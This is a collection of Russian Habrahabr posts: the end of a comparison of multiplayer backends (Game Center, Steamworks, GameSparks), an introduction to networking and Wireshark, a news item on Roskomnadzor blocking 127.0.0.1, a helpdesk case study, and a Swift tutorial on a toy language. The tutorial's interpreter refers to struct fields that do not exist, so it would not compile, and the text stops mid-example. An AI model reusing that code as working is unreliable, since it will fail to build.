Выглядит это следующим образом. Игрок нажимает кнопку — запускается поиск противника. При запуске матчмейкинга, игрок передает следующие параметры: Максимальное, минимальное количество игроков Группа Атрибут Группа — это число, в котором закодирована дополнительная информация о матче. Game Center подберет вам противников, которые указали ту же самую группу, что и вы. Атрибут — это 32-битное число, которое означает роль, которую вы хотите отыграть. По сути, это битовая маска. Game Center подбирает игроков таким образом, чтобы их битовые маски, объединенные по «или», были полностью заполнены единицами. Например, вы хотите играть в шахматы только за белых. Тогда вы передаете маску 0xFFFF0000. Игрок, желающий играть за черных, должен передать 0x0000FFFF. Если игроку все равно, за кого играть, то он передает заполненную единицами маску 0xFFFFFFFF. Тогда игроку, желающему играть за белых, подберется противник, желающий играть за черных, либо противник, которому все равно, за кого играть. После того, как противники найдены, запускается матч. Игроку возвращается список противников, которым он может посылать сообщения. Все игроки вступают в игру на равных правах. Им нужно договориться, кто из них игрок№1, а кто игрок№2. Например, можно отсортировать игроков по айдишникам. Тогда у обоих получится один и тот же список. Какого-то специального состояния «матч завершен» не существует. Игрокам сначала нужно между собой договориться, что игра закончена, и затем каждый из них дисконнектится. Существует возможность послать приглашение своему другу. Это приглашение высветится у него в Game Center, даже если игра не запущена. По клику на сообщение игра запускается. Для того, чтобы приглашения работали корректно, приходится отдельно обрабатывать два варианта, когда приложение запущено и когда нет. К сожалению, если игрок не принял приглашение, то игрок пославший его, об этом никогда не узнает. Он будет ждать его до тех пор, пока ему не надоест. Проблемы 1. Проблема с завершением матча Функционал работает таким образом, что ты не можешь послать сообщение «игра окончена, я пошел», а потом сразу дисконнектиться. В этом случае противник не получит твоего сообщения, а увидит только, что ты дисконнектился. Решив, что ты отвалился, он присвоит победу себе. Поэтому приходится посылать дополнительные подтверждения, типа «я получил твое сообщение, что игра окончена, можешь уходить». 2. Проблема дисконнекта одного из игроков Соединение между игроками устанавливается peer-to-peer. Поэтому, если у одного игрока пропадает интернет, то оба получают сообщение, что противник отвалился. По идее, мы должны присудить поражение игроку, который отвалился, и победу игроку, который остался в игре. И самое неприятное, что не существует способа спросить у Game Center, кто остался в игре, а кто дисконнектился. Чтобы это выяснить приходится вставлять костыли. Например, проверять соединение c Game Center сразу после дисконнекта противника (например, я запрашивал состояние ачивок). Если Game Center не отвечает, то можно считать, что отвалился я, а не противник. Но даже это может не сработать. Например, игрок может свернуть приложение. Когда он развернет приложение, соединение с игроком будет уже разорвано, но соединение с интернетом сохранится и игрок может решить, что это противник отвалился, а не он сам. Короче, приходится вставлять дополнительные костыли. Минусы Слишком простой функционал матчмейкинга. Приходится создавать неприятные костыли. Steamworks Общее описание Steamworks — это Api для интеграции вашей игры с магазином Steam. Он позволяет реализовать в вашей игре мультиплеер, ачивки, лидерборды, покупки, хранение данных пользователя в облаке. Интеграция Steamworks SDK написан на С++. Поэтому для интеграции в Unity3D необходим врапер. Из нескольких вариантов мною наобум был выбран Steamworks.NET. В принципе, врапер не плохой, все интегрировалось хорошо, но позже я заметил некоторое странное поведение. Каждая функция возвращает результат через callback примерно такого вида. protected void OnResult(LobbyEnter_t pCallback, bool failure) Как видно, в функцию передается дополнительный булевый параметр, который должен сообщать о неудачном выполнении операции. Как оказалось, этот параметр никогда не возвращает true. Даже если сделать что-то заведомо неправильное. Не знаю, косяк ли это Steamworks SDK или Steamworks.NET. От разработчиков какого-то внятного ответа я не получил и пришлось выкручиваться с помощью костылей. Реализация Как я уже писал выше, Steamworks имеет более гибкие возможности матчмейкинга. Вот примерный список того, что вы можете сделать: Создать комнату (здесь они называются «лобби») Присвоить комнате какой-нибудь параметр (например, указать название комнаты, и на какой карте вы будете играть) Отфильтровать список комнат по одному или нескольким параметрам Присвоить параметр игроку в комнате Послать сообщение внутри комнаты Мы использовали весь этот функционал в нашей стимовской версии. Как видно из скриншота, перед началом матча можно пообщаться в чатике, выбрать себе расу, выбрать карту и другие параметры матча. Не все игроки равны между собой. Игрок, создавший комнату, является её владельцем (owner). Если владелец покинул комнату, то это звание перекидывается случайным образом на другого игрока в комнате. Этот игрок может выступать в роли арбитра в спорных ситуациях. Теоретически, весь игровой функционал можно реализовать прямо внутри комнаты, хранить состояние игры прямо в ней. Но это все попахивает извращением. В стиме не существует специальных функций для создания соединения между игроками. Вы просто посылаете сообщение любому игроку. Если соединение не было до этого установлено, то оно устанавливается автоматически (другая сторона должна подтвердить, что хочет общаться с вами). Если соединение вдруг оборвалось, то стим попробует восстановить соединение в следующий раз, когда вы пошлете сообщение. Как и в Game Center, не существует такого состояния, как «игра окончена». Т.е. игроки должны сами между собой договориться, когда игра считается оконченной. В стиме существует еще такой интересный функционал. Допустим, вы делаете мультиплеер не через стим, а через свои сервера. Вы можете зарегистрировать свой сервер в стиме. Игрок может получить список всех зарегистрированных серверов. Таким образом стим выступает в роли каталога внешних серверов. Проблемы 1. Проблема дисконнекта одного из игроков. К сожалению, как и в Game Center, вы не можете так просто определить, пропало соединение с сервером у вас или у вашего противника. Приходится писать костыли. Плюсы Более гибкий функционал матчмейкинга. Минусы Странное поведение Steamworks.NET при ошибках. Проблема с дисконнектом игроков. GameSparks Общее описание GameSparks — это сервис, который выступает в роли backend-сервера для игр. Он позволяет хранить данные, запускать скрипты, имеет встроенные механизмы матчмейкинга, ачивок, лидербордов и много другое. Интеграция GameSparks интегрируется в Unity3D с помощью официального плагина. Все работает отлично. Реализация Все скрипты пишутся на JavaScript. Поэтому первое что я сделал, это настроил окружение так, чтобы писать на нормальном строго типизированном языке. Я использовал TypeScript. Взаимодействие с сервером очень простое. Мы посылаем на сервер сообщение. На сервере срабатывает скрипт, соответствующий этому сообщению. Скрипт считывает информацию из базы данных, вносит изменения, и возвращает нам результат. Так же скрипт может послать сообщение любому другому пользователю. Все очень просто и логично. В принципе, GameSparks позволяет вам реализовать сколь угодно сложный матчмейкинг. Можно, например, сделать комнаты как в стиме. Но я решил не заморачиваться, а воспользоваться встроенным механизмом матчмейкинга. При запуске матчмейкинга нужно передать силу игрока (числовой параметр). После чего GameSparks вернет противников, сила которых отличается от переданной на определенное значение (в абсолютных или относительных значениях). Для real-time мультиплеера есть возможность создавать отдельные комнаты. В этой комнате может быть запущен скрипт, который постоянно крутится на стороне сервера. Но я не использовал этот функционал. Для передачи сообщений между игроками я использовал обычный скрипт, который просто ретранслировал сообщение нужному игроку. Плюсы Есть возможность хранить данные игрока на сервере Удалось избавиться от костылей, которые использовались в Game Center и Steam. Сервер всегда знает, кто онлайн, кто нет, и всегда можно достоверно определить, кто покинул игру. Минусы Немного сумбурная документация. Обещали, что для инди-разработчиков можно запустить игру бесплатно. На деле, пришлось заплатить. Cовет Создавайте дополнительные тулзы, чтобы визуализировать процессы, происходящие внутри вашего кода. Например, я написал логирующий сервер. Слева изображен лог одного игрока, справа — лог другого. Стрелочками нарисованы сообщения, в какой момент сообщение было послано, в какой пришло.
https://habrahabr.ru/post/316706/
habrahabr
Создание и тестирование Firewall в Linux, Часть 2.1. Введение во вторую часть. Смотрим на сеть и протоколы. Wireshark
['linux', 'kernel module', 'firewall', 'char device', 'netfilter', 'sysfs', 'virtualbox']
Содержание первой части: Создание лаборатории, архитектура Netfilter, char device, sysfs1.1 — Создание виртуальной лаборатории (чтобы нам было где работать, я покажу, как создать виртуальную...
Содержание первой части: Создание лаборатории, архитектура Netfilter, char device, sysfs 1.1 — Создание виртуальной лаборатории (чтобы нам было где работать, я покажу, как создать виртуальную сеть на вашем компьютере. Сеть будет состоять из 3х машин Linux ubuntu). 1.2 – Написание простого модуля в Linux. Введение в Netfilter и перехват трафика с его помощью. Объединяем все вместе, тестируем. 1.3 – Написание простого char device. Добавление виртуальной файловой системы — sysfs. Написание user interface. Объединяем все вместе, тестируем. Содержание второй части: 2.1 — Введение во вторую часть. Смотрим на сеть и протоколы. Wireshark. 2.2 — Таблицы Firewall. Transport Layer. Структуры TCP, UDP. Расширяем Firewall. 2.3 — Расширяем функциональность. Обрабатываем данные в user space. libnetfilter_queue. 2.4 — Бонус. Изучаем реальную Buffer Overflow атаку и предотвращаем с помощью нашего Firewall'а. Часть 2 В предыдущей части мы написали простой kernel module, char device driver, оснастили его интерфейсом для связи с user space через операции read/write char device и sysfs, а главное -добавили упорядоченный перехват всего трафика. В этой части мы немного углубимся в тему firewall, а также рассмотрим, как сделать нашу программу более продвинутой. Часть 2.1 Введение в сети. От теории к практике. Внимание! Если для вас слова «протоколы», TCP\IP, Wireshark не новы — вам тут делать нечего :) Прежде, чем мы продолжим, хотелось бы сказать буквально пару слов о работе сети (так как информации по теме тонны), для тех, кто совсем не занимался данной темой. Для того, чтобы один пакет попал с одного устройства (компьютер, телефон, раутер…) на другое, необходимы определенные правила, определяющие порядок его транспортировки. Данные правила называют протоколами. Как пример, если вы хотите лететь из Санкт-Петербурга в Тель-Авив, вы едете в аэропорт, подходите к стойке, там вас регистрируют, направляют к другой стойке, там тоже делают нужные вещи, отправляют вас дальше, и так, пока вы не выходите в славном Тель-Авиве. В сетях пакет тоже проходит разные стадии, в зависимости от сети и других факторов. Теоретически, определена OSI model (читать тут ), которая описывает все стадии, практически же все немного по другому. Посмотрим на картинку: ( источник картинки ) Когда клиент посылает пакет серверу, то пакет проходит несколько инстанций (опять же в классических теоретических случаях). Application – например, браузер. Он добавляет какие-то данные, например, фото, которое вы хотите загрузить в соц. сеть. Transport – тут распространены два протокола – TCP и UDP. У них есть большие отличия, но на данном этапе нам важно, что каждый из них добавляет информацию для того, чтобы выполнить свои функции (например, чтобы все пакеты дошли в посланном порядке). Network – тут самый распространенный протокол – IP, он отвечает за то, чтобы пакеты передавались через разные раутеры в больших сетях. Он перешлет пакет вашему провайдеру, потом другому серверу, потом еще одному, и в конце — в конечную точку. Link используется для направления пакетов в маленьких сетях, а Physical – очень низкий уровень, больше связанный с отдельными битами в вашей сетевой карте. То же самое происходит и в нашей виртуальной сети. На уровне протокола IP нам будут важны только два поля: IP source – кто посылает пакет, IP destination – куда пакет послан. На уровне TCP нам будет интересно только source port, destination port. Порт – это определенный идентификационный номер соединения (например, когда ваш браузер соединяется с удаленным сервером, то он это делает с source port = 12345 на destination port = 80. Destination port для известных сервисов зарезервирован и известен заранее. Пример: Host2 посылает пакет host1 с порта 12345 на порт 80: Пакет данных попал на сетевую карту 10.0.3.1, после чего firewall переправил его на 10.0.2.1(да-да, все тот же forwarding из первой части, как fw знал куда именно его пересылать – отдельная тема, легко находится в интернете). И наконец, host1 получает пакет данных, видит, что в поле src ip прописан его IP адрес, поэтому забирает его себе (и никуда больше не пересылает). Важно отметить! Srp ip, des tip, src port, dest port, TCP/UDP – пять этих данных достаточно для того, чтобы уникальным образом идентифицировать любую сессию связи (часто говорят о четырех данных, без протокола, что не совсем верно, потому что номера портов tcp и udp могут совпадать). То есть не может быть в нормальной сети, где все по правилам, два соединения с одинаковыми 5-ю выше описанными данными одновременно! Я думаю, этого пока достаточно для того, чтобы читатель, не владеющий знаниями о работе сетей, продолжил чтение статьи. Важно 2! Написанное выше призвано дать минимум интуиции и далеко от полной и точной картины, хотя и отражает главные основы сетей (например — Internet). Часть 2.1 Введение в сети. Практика В качестве практики можно воспользоваться широко распространённой программой для прослушивания сети (которая, кстати, работает по тем же принципам, что и firewall в этом цикле статей). Она есть как под linux, так и под windows, и распространяется бесплатно. Давайте смотреть вживую на пакет. Итак, запускаем wireshark и слушаем наш DHCP выход: Я запустил браузер и пошел в Google: Вообще, для тех, кто ни разу не пробовал, очень советую тут поиграться, потому что, кроме подключения к google.com, можно увидеть все-все-все, что происходит в сети, все протоколы, которые в ней работают и обеспечивают ее стабильную работу, включая DNS и более низкого уровня. Можно увидеть, что, еще ничего не делая, я уже владею больше чем 1000 пакетами. Я воспользуюсь фильтром, чтобы найти те, что относятся напрямую к подключению к google.com И двойным нажатием открываем в отдельном окне: Вот так вот он выглядит. Сверху видны все используемые OSI уровни (то, о чем я писал выше), а внизу я выделил те данные, что касаются IP протокола, включая самые для нас важные IP source, IP destination. На уровне аппликации(браузера), самого верхнего, можно увидеть, что мы посылаем запрос GET /HTTP/1.1 на google.com, то есть запрашиваем страницу (подробности HTTP протокола можно также легко найти в интернете), а также различные настройки нашей системы (язык, кодировки и т.д.). На уровне TCP мы видим source port = 52983, destination port = 80 и некоторые другие флаги о которых можно почитать в интернете. В завершении: статья написана главным образом для тех, кто совсем не разбирается в сетях, и предназначена для подготовки к следующим частям. Практическая же ее часть может быть отправной точкой для тех, кто никогда не «щупал» сеть, но при этом всегда хотел это сделать. В следующей части мы поговорим про таблицы firewall, разницу между statefull vs stateless firewall, а также посмотрим, как из нашего модуля можно получить доступ к тем полям, о которых я писал выше.
https://habrahabr.ru/post/316086/
habrahabr
Роскомнадзор заблокировал 127.0.0.1
['позор']
Наконец-то это случилось, адрес 127.0.0.1 был внесён в реестр запрещенных ресурсов. Роскомнадзор попытался заблокировать сам себя от интернета? Хм, а ведь хорошее же начинание! )) В...
Наконец-то это случилось, адрес 127.0.0.1 был внесён в реестр запрещенных ресурсов. Роскомнадзор попытался заблокировать сам себя от интернета? Хм, а ведь хорошее же начинание! )) В соответствующей записи реестра указывается (вернее, их две ), что надзорное ведомство заблокировало этот IP по решению Мосгорсуда № 3-1115/2016 от 19 октября 2016 года. Но в данном решении суда значится только непосредственно имя домена (karaoke-besplatno.ru), которое необходимо заблокировать, а про IP-адреса там речь не идут. Отсюда следует вывод, что внесение IP локалхоста в реестр запрещенных сайтов инициатива самих сотрудников Роскомнадзора, которые отвечают за обработку судебных решений. На текущий момент данный IP уже оперативно исключен из реестра , но само его попадание туда примечательно. «Роскомсвобода» Но к великому сожалению, данный адрес уже разблокирован.
https://geektimes.ru/post/283596/
habrahabr
Как Велобайк внедрил UseDesk и ускорил поддержку в 6 раз
['велобайк', 'клиентская поддержка', 'хелпдеск']
Глава 1. В которой я полчаса покаталась на велике, а потом произошли удивительные вещи Это захватывающая история началась в мае. Я взяла велосипед в городском прокате, проехала от метро 1905...
Глава 1. В которой я полчаса покаталась на велике, а потом произошли удивительные вещи Это захватывающая история началась в мае. Я взяла велосипед в городском прокате, проехала от метро 1905 года до Арбатской, припарковалась и пошла на работу. А через 3 часа мне пришла смс от банка о списании 1000 рублей, как будто я каталась не полчаса, а три. Видимо, в момент парковки произошла ошибка, и станция не увидела велосипед. В поддержке Велобайка мне объяснили, что надо было дождаться смски о завершении проката, и деньги возвращать отказались. Я обиделась и задумала жестокую (как мне тогда казалось) месть. Я написала об этом кейсе в наш блог о клиентском обслуживании Usedesk. В статье я разобрала ошибки поддержки: ругалась на формальные ответы, бюрократический подход, негибкие решения и плохое информировании об условиях проката. Поделилась статьей в Фейсбуке, упомянула @Велобайк и стала ждать. Мы с командой шутили, что нас настигнет скандальная слава разоблачителей плохого сервиса в городском велопрокате, и чем черт не шутит — Велобайк отреагирует. Но всерьез не рассчитывали ни на какой резонанс. Через день после публикации статьи Велобайк неожиданно добавил в смс напоминалку о том, что нужно дожидаться смс об окончании проката. А через два дня у меня зазвонил айфон. – Здравствуйте, Катерина, меня зовут Глеб, я гендиректор компании Велобайк. Бойтесь желаний, они имеют свойство сбываться. Глава 2. В которой мы встречаемся с командой Велобайка и узнаем, как все устроено изнутри Я думала, меня сейчас обрадуют, что тысяча уже прилетела обратно на карту. Но поворот оказался круче. Глеб Нарожных, гендиректор московского городского проката Велобайк: Пост был опубликован в корпоративном блоге компании Usedesk и, помимо эмоций автора, содержал достаточно понятные рекомендации в части клиентского сервиса. Мы со своей стороны в этот момент стояли перед нелегким выбором системы для работы с клиентскими обращениями и, вполне естественно, что после изучения профиля компании Usedesk, у нас появилось к ним деловое предложение — попробовать Usedesk и его возможности для Велобайка. Я набрал Катерине. Через неделю мы уже сидели у ребят в офисе на Бережковской набережной, пили кофе и разбирались, как улучшить процессы поддержки. Как устроена поддержка Велобайка Колл-центр принимает звонки и онлайн отвечает на вопросы столичных велосипедистов про тарифы проката, списания с карт и даже — какой стороной припарковать велосипед. Клиенты, которые не любят разговаривать по телефону, пишут на почту [email protected] или в соцсети. Если ситуация спорная, как случилось со мной — то колл-центр передает заявку отделу операторов — пишут письмо по обычной почте. Операторы проверяют детали поездки, сопоставляют факты, согласуют с финансовым отделом и выносят вердикт — вернуть деньги или отказать. Если клиент нашел бесхозный сломанный велосипед, операторы сообщают об этом диспетчеру, а диспетчер отправляет водителя чинить велосипед. Общались отделы между собой через почту, скайп и даже на бумаге. В результате некоторые заявки терялись, было много ручного труда и мало статистики. Нужно было упорядочить работу, чтобы отвечать клиентам быстрее и меньше тратить времени на рутинные операции. Подробнее о проблемах и найденных решениях скоро узнаете. Глава 3. Мы начинаем внедрение Юздеска Для начала я начертила большую схему процесса работы — как поступают письма, как операторы ставят статусы и присваивают категории запросам, кому перенаправляют претензии и как отвечают клиентам. Нажмите на картинку, чтобы изучить поближе Следующим шагом эту теоретическую схему перенесли в Юздеск. Для этого подключили 2 почтовых ящика Велобайка к Юздеску, чтобы письма поступали в программу. Создали шаблоны ответов на частые вопросы, чтобы не писать каждый раз вручную. Для будущей статистики по темам обращений добавили теги-категории: аккаунт заблокирован, бесплатный прокат, благодарность, возврат проведен, карта тройка, консультация, найден велосипед, не прошла оплата, неисправность велосипеда, неисправность пункта, украден велосипед и еще 25 тегов. Осталось обучить операторов. Я показывала, куда тыкать, какие кнопки нажимать, чтобы менять статусы и переназначать вопросы коллегам. Сначала ребята сопротивлялись «что это еще за новая программа, непривычно, неудобно». Но уже через час один оператор сказал другому «Да эта новая система просто почта, скайп и Эксель в одном». И это было лучшее определение Юздеска, которое я слышала. Теперь все письма попадают в одну ленту. Открыл программу — увидел, сколько писем, на какую тему, кто ответственный, что требует немедленной реакции. Список запросов в Юздеске Глава 4. Из которой станет понятно, зачем было что-то внедрять От разговора за кофе до первых запросов в системе прошло 3 недели. Мы наткнулись на проблему, которая сильно тормозила скорость ответов. 60% писем поступали от сотрудников колл-центра с адреса [email protected] в стандартном формате. Письмо от колл-центра Чтобы ответить клиенту, нужно было сначала по ID клиента найти его е-мейл в базе данных Велобайка. Потом добавить е-мейл в Юздеск и только после этого отвечать. Долго, неудобно, кошмар. За два шага мы сэкономили сотрудникам лишние 2 минуты на каждое письмо: Из базы данных Велобайка перенесли клиентов с е-мейлами в базу Юздеска. Создали правило, которое по ID внутри письма ищет клиента в базе и подставляет нужного клиента с адресом в карточку. «О, теперь в 100 раз быстрее!» — оценили операторы. Педали закрутились, и работа поехала быстрее) Вот что еще удалось наладить по сравнению со старым процессом работы. Проблема 1. Когда клиенты писали или звонили в колл-центр несколько раз, за одну и ту же проблему брались одновременно несколько сотрудников. Случались казусы. Настойчивый клиент, несогласный со списанием за прокат, позвонил в колл-центр и для верности написал в поддержку дважды. Клиенту повезло — один из операторов принял решение в его пользу и вернул деньги. Но ребята потратили время, за которое могли бы помочь еще двум клиентам. Как стало. Одинаковые заявки от клиента теперь объединяют. Благодаря этому вся история взаимодействий сохраняется. Ребята в поддержке принимают во внимание все детали и сверяют с системой показания клиента, прежде чем вынести вердикт. Бывает, что клиент в претензии пишет, что ничего не знал о тарифах проката. А на самом деле он звонил в колл-центр и его предупредили, сколько денег спишется, если он не припаркуется на станции, а привяжет велосипед на трос к забору. Проверить это просто. Что говорил клиент, что отвечали ему разные операторы — все перед глазами, и части пазла не теряются. Так недобросовестных велосипедистов выводят на чистую воду. А вот ответственным и честным всегда идут навстречу. Проблема 2. 22% обращений связаны с оплатой и возвратами. Окончательное решение по возврату спорных списаний принимает руководитель. Раньше заявки на согласование операторы передавали ему … на бумаге. Каждую заявку распечатывали, листочки копили и пачкой клали на стол. Что-то терялось, клиенты долго не могли дождаться денег и справедливо негодовали. Доходило до 120 напечатанных заявок в день, урны в офисе были переполнены бумагой. Бумажная заявка на возврат Как стало. Велобайк бережет деревья и экономит краску в принтере. Никакой макулатуры. Согласования проходят в Юздеске с помощью внутренних комментариев. Вопрос просто назначается на Сергея, и он видит весь список заявок, где нужна реакция. Все шаги решения в одном запросе. Заявка на возврат в Юздеске Проблема 4. Для статистики информацию по каждому письму вручную заносили в «Журнал обращений», обычный файл Эксель: дату и время, тему обращения, клиента, ответстветственного, статус и срок решения. Журнал обращений в Экселе Эта рутина отнимала много времени. Остаться после смены заполнить файлик — обычное дело. Бывало, тратили на это дополнительный рабочий день. Где ручной труд — там ошибки: то цифру не дописали, то время неправильно указали — все, статистика уже врет. Поэтому она бесполезна. Как стало. Лишние телодвижения сведены к минимуму — ничего делать не нужно, система запоминает все статусы и ответственных сама. Сотрудники сосредоточены на помощи катающимся и решении велосипедных проблем. При этом руководители видят статистику по причинам обращений, скорость решения и контролируют процесс в одной системе. Глава 5. Велобайк придумывает, как использовать Юздеск для проактивной поддержки Наладив процесс вопросов и ответов по почте, команда поддержки Велобайка пошла дальше. На очереди были наболевшие проблемы, из-за которых клиенты и Велобайк теряли деньги. Когда велосипед не до конца припаркован Самая частая причина лишних списаний — ошибка в замке в момент парковки. Усталый велосипедист после катания не до конца вставляет велосипед в замок, и прокат остается не закрыт. А через пару часов клиент уже получает смску от банка, что списано 450 рублей. Было много претензий, слез и потерянных денег. Поэтому в поддержке Велобайка модернизировали процесс. Сейчас, если произошла ошибка при парковке, клиенту отправят смс, а после позвонит оператор: «Я вижу, у вас не получается припарковаться. Давайте помогу!». Обычно клиент еще не успевает уйти далеко от парковки, его просят вернуться и убедиться, что велосипед поставлен правильно. Как и письма клиентов, уведомления об ошибке при парковке приходят операторам в Юздеск, это часто помогает реагировать раньше, чем клиент сам наберет номер поддержки. Уведомление об ошибке при парковке Когда прокат затянулся на 6 часов Другая дорогостоящая проблема — прокаты дольше 6 часов. Бывает, клиент решил прокатиться до соседнего города и не рассчитал время и свои силы. Может, опаздывал на работу и не нашел свободных слотов на станции. Или новичок не разобрался, как велосипед надо вернуть на парковку. В любом случае, если прокат длится полдня, это означает «что-то случилось». Возможно нехорошее. В результате клиент по невнимательности может потерять 1500 рублей, а Велобайк – велосипед, что обходится намного дороже. Раньше поддержка не получала никаких сигналов о долгих прокатах. Операторы вручную мониторили велосипеды, которые не возвращались на парковку дольше, чем 24 часа. Но найти потерянный велосипед через день было почти невозможно. Поэтому Велобайк доработал систему и внедрил оповещения. Теперь, если прокат длится больше 6 часов — клиента информируют смс, а операторам в Юздеск поступает уведомление. Операторы легко находят клиента, связываются с ним, и выясняют, что случилось. Если клиент просто оставил где-то велосипед, то его попросят вернуть на ближайшую парковку. Следовать советам поддержки и относиться к прокатному велосипеду ответственно, как к собственному — выгодно. Велобайк пойдет навстречу пересчитает стоимость проката, учитывая, сколько на самом деле проехал клиент. Вот это я понимаю — гибко и на совесть клиентоориентированно. С начала велосезона 2016 у каждого 4-го пропавшего велосипеда возникала ошибка при парковке. После внедрения оповещений велосипедов, не вернувшихся вовремя, стало в 2,5 раза меньше. За 3 месяца работы с оповещениями потерялся только 1 велосипед, и только потому что клиент отказался припарковать его на другой станции. Остальные велосипеды найдены и возвращены «домой». Глава 6. Где мы подводим итоги Переходим от лирики к цифрам. Что удалось за велосезон 2016.  Июль-сентябрь 2015 Июль-сентябрь 2016 Работа с задвоенными обращениями (когда клиент несколько раз обратился по разным каналам связи) 17% 2% Поиск информации по клиенту при первичном обращении (по логину или имени клиента проверка наличия обращений и просмотр истории) 7 минут 3 минуты Время на техническую подготовку ответа (с применением стандартных ответов и правил) 4 минуты 1 минута → быстрее в 4 раза Время ответа клиенту с учетом расследования ситуации 12 ч 12 мин 2 ч 22 мин →   быстрее в 6 раз Операторы теперь связываются с клиентами и предупреждают о сроках решения проблемы, в результате клиенты в курсе, что их вопросом занимаются и редко звонят повторно. Операторы не загружены звонками и отвечают клиентам быстрее. Сергей Цыганков, зам. руководителя клиентской дирекции Велобайка: Как человек, который работал в срм системах, я понимал все плюсы и минусы. Достаточно важный аргумент за их внедрение состоит в том, что все ходы записаны и каждый сотрудник несет персональную ответственность. Не оператор 1, 2, а лично, например, Александр Громов, Сергей Цыганков. Благодаря тому, что всё на виду и доступ есть у руководства компании, использование Usedesk дисциплинирует операторов. В системе отражено, когда заявка попала человеку, когда он ответил, что он для этого сделал, правильно ли ответил. Я могу в любое время зайти посмотреть, что творится в Юздеске, какие обращения находятся в работе. Данный инструмент позволяет повысить качество нашей работы во всех каналах взаимодействия с клиентом. Что дальше? На следующий велосипедный сезон у ВелоБайка в планах продолжить расширять зону велопроката за третье кольцо, и поддержать постоянных клиентов новыми удобными функциями в мобильном приложении. А Юздеск планирует интегрироваться с мобильным приложением и базой клиентов и прокатов Велобайка, чтобы «расследовать» спорные случаи еще быстрее. Будем вместе помогать москвичам передвигаться по городу весело и с комфортом. Был поучительный и полезный опыт. Все получилось, потому что ребята из Велобайка оказались незлопамятными, неравнодушными и крутыми профессионалами. И для меня это история даже не о клиентском сервисе. Это о том, как люди объединяются, чтобы вместе делать полезное дело. Я лично благодарю Глеба — за шанс. Фарида и Сергея — за терпение и добро. Весь Велобайк — за то, что делают город здоровее, мобильнее и счастливее. Спасибо, что позволили UseDesk быть частью этого. До встречи в апреле :)
https://habrahabr.ru/company/usedesk/blog/317210/
habrahabr
Объясняем бабушке, как написать свой язык программирования
['язык программирования', 'разработка', 'проектирования', 'парсер', 'синтаксис', 'edisonsoftware']
Это игровая площадка, где я попытаюсь объяснить, как создать малюсенький язык программирования (Mu). Можно посмотреть вживую на открытые исходники здесь или скачать тут. Туториал можете прочитать...
Это игровая площадка, где я попытаюсь объяснить, как создать малюсенький язык программирования (Mu). Можно посмотреть вживую на открытые исходники здесь или скачать тут . Туториал можете прочитать прямо сейчас. Пишем свой язык программирования (на Swift) Для того, чтобы написать свой язык программирования, необязательно иметь степень в Computer Science, достаточно понимать 3 базовых шага. Язык: Mu(μ) Mu — это минимальный язык, который содержит постфиксный оператор, бинарную операцию и «одноциферные» числа. Пример: (s 2 4) or (s (s 4 5) 4) or (s (s 4 5) (s 3 2))… Шаги: Lexer Parser Interpreter Lexer В компьютерных науках лексический анализ — это процесс аналитического разбора входной последовательности символов (например, такой как исходный код на одном из языков программирования) с целью получения на выходе последовательности символов, называемых «токенами» (подобно группировке букв в словах). Группа символов входной последовательности, идентифицируемая на выходе процесса как токен, называется лексемой. В процессе лексического анализа производится распознавание и выделение лексем из входной последовательности символов. — Википедия Пример: Из-за того, что Mu так мал — только один оператор и числа — вы можете просто совершать итерации ввода и проверять каждый символ. enum Token { case parensOpen case op(String) case number(Int) case parensClose } struct Lexer { static func tokenize(_ input: String) -> [Token] { return input.characters.flatMap { switch $0 { case "(": return Token.parensOpen case ")": return Token.parensClose case "s": return Token.op($0.description) default: if "0"..."9" ~= $0 { return Token.number(Int($0.description)!) } } return nil } } } let input = "(s (s 4 5) 4)" let tokens = Lexer.tokenize(input) Parser Парсер или синтаксический анализатор — это часть программы, преобразующей входные данные (как правило, текст) в структурированный формат. Парсер выполняет синтаксический анализ текста. Grammar: expression: parensOpen operator primaryExpression primaryExpression parensClose primaryExpression: expression | number parensOpen: "(" parensClose: ")" operator: "s" number: [0-9] Грамматика Mu — это бесконтекстная грамматика, что означает, что она описывает все возможные варианты строк в языке. Парсер начинает с верха (корня сгенерированного дерева) и двигается до самого нижнего узла. Совет: код должен быть прямым представлением граммматики func parseExpression() -> ExpressionNode { ... firstPrimaryExpression = parsePrimaryExpression() secondPrimaryExpression = parsePrimaryExpression() ... } func parseExpression() -> PrimaryExpressionNode { return parseExpression() || parseNumber() } indirect enum PrimaryExpressionNode { case number(Int) case expression(ExpressionNode) } struct ExpressionNode { var op: String var firstExpression: PrimaryExpressionNode var secondExpression: PrimaryExpressionNode } struct Parser { var index = 0 let tokens: [Token] init(tokens: [Token]) { self.tokens = tokens } mutating func popToken() -> Token { let token = tokens[index] index += 1 return token } mutating func peekToken() -> Token { return tokens[index] } mutating func parse() throws -> ExpressionNode { return try parseExpression() } mutating func parseExpression() throws -> ExpressionNode { guard case .parensOpen = popToken() else { throw ParsingError.unexpectedToken } guard case let Token.op(_operator) = popToken() else { throw ParsingError.unexpectedToken } let firstExpression = try parsePrimaryExpression() let secondExpression = try parsePrimaryExpression() guard case .parensClose = popToken() else { throw ParsingError.unexpectedToken } return ExpressionNode(op: _operator, firstExpression: firstExpression, secondExpression: secondExpression) } mutating func parsePrimaryExpression() throws -> PrimaryExpressionNode { switch peekToken() { case .number: return try parseNumber() case .parensOpen: let expressionNode = try parseExpression() return PrimaryExpressionNode.expression(expressionNode) default: throw ParsingError.unexpectedToken } } mutating func parseNumber() throws -> PrimaryExpressionNode { guard case let Token.number(n) = popToken() else { throw ParsingError.unexpectedToken } return PrimaryExpressionNode.number(n) } } //MARK: Utils extension ExpressionNode: CustomStringConvertible { public var description: String { return "\(op) -> [\(firstExpression), \(secondExpression)]" } } extension PrimaryExpressionNode: CustomStringConvertible { public var description: String { switch self { case .number(let n): return n.description case .expression(let exp): return exp.description } } } let input = "(s 2 (s 3 5))" let tokens = Lexer.tokenize(input) var parser = Parser(tokens: tokens) var ast = try! parser.parse() Interpreter В computer science, интерпретатор — это программа, которая последовательно выполняет инструкции, написанные на языке программирования или скриптовом языке, без предварительной компиляции в машинный код. (Википедия) Пример: Интерпретатор Mu будет проходить через свои A.S.T и вычислять значения, применяя оператор к дочерним узлам. enum InterpreterError: Error { case unknownOperator } struct Interpreter { static func eval(_ expression: ExpressionNode) throws -> Int { let firstEval = try eval(expression.first) let secEval = try eval(expression.second) if expression.op == "s" { return firstEval + secEval } throw InterpreterError.unknownOperator } static func eval(_ prim: PrimaryExpressionNode) throws -> Int { switch prim { case .expression(let exp): return try eval(exp) case .number(let n): return Int(n) } } } let input = "(s (s 5 2) 4)" let tokens = Lexer.tokenize(input) var parser = Parser(tokens: tokens) let ast = try! parser.parse() try! Interpreter.eval(ast) Заключение Ввод let input = "(s (s 4 5) 4) Извлекаем массив токенов 